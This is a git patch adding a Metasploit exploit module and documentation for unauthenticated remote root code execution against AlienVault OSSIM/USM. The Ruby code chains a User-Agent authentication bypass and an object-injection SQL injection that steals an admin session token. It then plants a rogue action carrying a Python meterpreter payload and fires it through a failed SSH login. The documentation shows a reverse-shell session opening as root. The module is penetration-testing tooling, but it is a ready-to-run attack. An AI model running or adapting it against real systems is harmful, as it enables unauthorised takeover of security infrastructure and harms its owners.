From 40108c2374996bea7cfee72554ba6ea20ca36d09 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Tue, 31 Jan 2017 14:15:46 +0300 Subject: [PATCH] first commit --- .../exploit/linux/http/alienvault_exec.md | 58 ++++ .../exploits/linux/http/alienvault_exec.rb | 306 ++++++++++++++++++ 2 files changed, 364 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/alienvault_exec.md create mode 100644 modules/exploits/linux/http/alienvault_exec.rb diff --git a/documentation/modules/exploit/linux/http/alienvault_exec.md b/documentation/modules/exploit/linux/http/alienvault_exec.md new file mode 100644 index 0000000000..7ffa733718 --- /dev/null +++ b/documentation/modules/exploit/linux/http/alienvault_exec.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user. + +By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability +which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue +action and policy that enables to execute operating system commands by using captured session token. As a final step, +SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes +operating system command with root user privileges. + +This module was tested against AlienVault USM 5.2.5. + +**Vulnerable Application Installation Steps** + +Major version of older releases can be found at following URL. +[http://downloads.alienvault.com/c/download](http://downloads.alienvault.com/c/download) + +You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file. +In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) . +Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/alienvault_exec +msf exploit(alienvault_exec) > set RHOST 12.0.0.137 +RHOST => 12.0.0.137 +msf exploit(alienvault_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(alienvault_exec) > check +[+] 12.0.0.137:443 The target is vulnerable. +msf exploit(alienvault_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4445 +[*] Hijacking administrator session +[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4 +[*] Creating rogue action +[+] Action created: aWbhnZFHqYbUbNW +[*] Retrieving rogue action id +[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1 +[*] Retrieving policy ctx and group values +[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7 +[+] GROUP Value found: 00000000000000000000000000000000 +[*] Creating a policy that uses our rogue action +[+] Policy created: ASdKHQOZVONGzfU +[*] Activating the policy +[+] Rogue policy activated +[*] Triggering the policy by performing SSH login attempt +[+] SSH - Failed authentication. That means our policy and action will be trigged..! +[*] Sending stage (38500 bytes) to 12.0.0.137 +[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300 + +meterpreter > getuid +Server username: root +meterpreter > +``` diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb new file mode 100644 index 0000000000..e8bd51fd1c --- /dev/null +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -0,0 +1,306 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM/USM Remote Code Execution", + 'Description' => %q{ + This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. + Unauthenticated users can execute arbitrary commands under the context of the root user. + + By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability + which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue + action and policy that enables to execute operating system commands by using captured session token. As a final step, + SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes + operating system command with root user privileges. + + This module was tested against AlienVault USM 5.2.5. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Lapp', # EDB advisory owner + 'Mehmet Ince ' # Metasploit module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'], + ['EDB', '40682'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + ['Alienvault OSSIM 5.3.1', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Jan 31 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + r = rand_text_alpha(15) + p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + + end + + + def exploit + # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli + print_status("Hijacking administrator session") + + sql = "SELECT id FROM sessions LIMIT 1" + p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_get' => { + 'type' => 'alarm', + 'wtype' => 'foo', + 'asset' => 'ALL_ASSETS', + 'height' => 1, + 'value' => p + } + }) + if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/ + admin_session = $1 + cookie = "PHPSESSID=#{admin_session}" + print_good("Admin session token : #{cookie}") + else + fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again") + end + + # Creating a Action that contains payload. + print_status("Creating rogue action") + r = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), + 'headers' => { + 'User-Agent' => 'AV Report Scheduler', + }, + 'vars_post' => { + 'id' => '', + 'action' => 'new', + 'old_name' => '', + 'action_name' => r, + 'ctx' => '', + 'old_descr' => '', + 'descr' => r, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'email_from' => '', + 'email_to' => 'email;email;email', + 'email_subject' => '', + 'email_message' => '', + 'transferred_user' => '', + 'transferred_entity' => '', + 'exec_command' => "python -c \"#{payload.encoded}\"" + } + }) + + if res && res.code == 200 && res.body.include?("Action successfully updated") + print_good("Action created: #{r}") + else + fail_with(Failure::Unknown, "Unable to create action") + end + + # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint. + # Thus we're using hijacked administrator session. + print_status("Retrieving rogue action id") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => cookie, + 'vars_get' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/ + action_id = $1 + print_good("Corresponding Action ID found: #{action_id}") + else + fail_with(Failure::Unknown, "Unable to retrieve action id") + end + + # Retrieving the policy data. We will use it while creating policy + print_status("Retrieving policy ctx and group values") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => cookie, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_good("CTX Value found: #{policy_ctx}") + print_good("GROUP Value found: #{policy_group}") + else + fail_with(Failure::Unknown, "Unable to retrieve policy data") + end + + # Creating policy that will be trigerred when SSH authentication failed due to wrong password. + print_status("Creating a policy that uses our rogue action") + policy = rand_text_alpha(15) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => cookie, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', + 'dests[]' => '00000000000000000000000000000000', + 'portsrc[]' => '0', + 'portdst[]' => '0', + 'plug_type' => '1', + 'plugins[0]' => 'on', + 'taxfilters[]' =>'25@2@0', + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Istanbul', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => '7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', + 'cross_correlate' => '0', + 'store' => '0' + } + }) + + if res && res.code == 200 + print_good("Policy created: #{policy}") + else + fail_with(Failure::Unknown, "Unable to create policy id") + end + + # We gotta reload all policies in order to make our rogue one enabled. + print_status("Activating the policy") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_good("Rogue policy activated") + else + fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy") + end + + # We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-) + factory = ssh_socket_factory + opts = { + auth_methods: ['password'], + port: 22, + use_agent: false, + config: false, + password: rand_text_alpha(15), + proxy: factory, + non_interactive: true + } + + print_status("Triggering the policy by performing SSH login attempt") + + begin + Net::SSH.start(rhost, "root", opts) + rescue Net::SSH::AuthenticationFailed + print_good("SSH - Failed authentication. That means our policy and action will be trigged..!") + rescue Net::SSH::Exception => e + print_error("SSH Error: #{e.class} : #{e.message}") + return nil + end + + end +end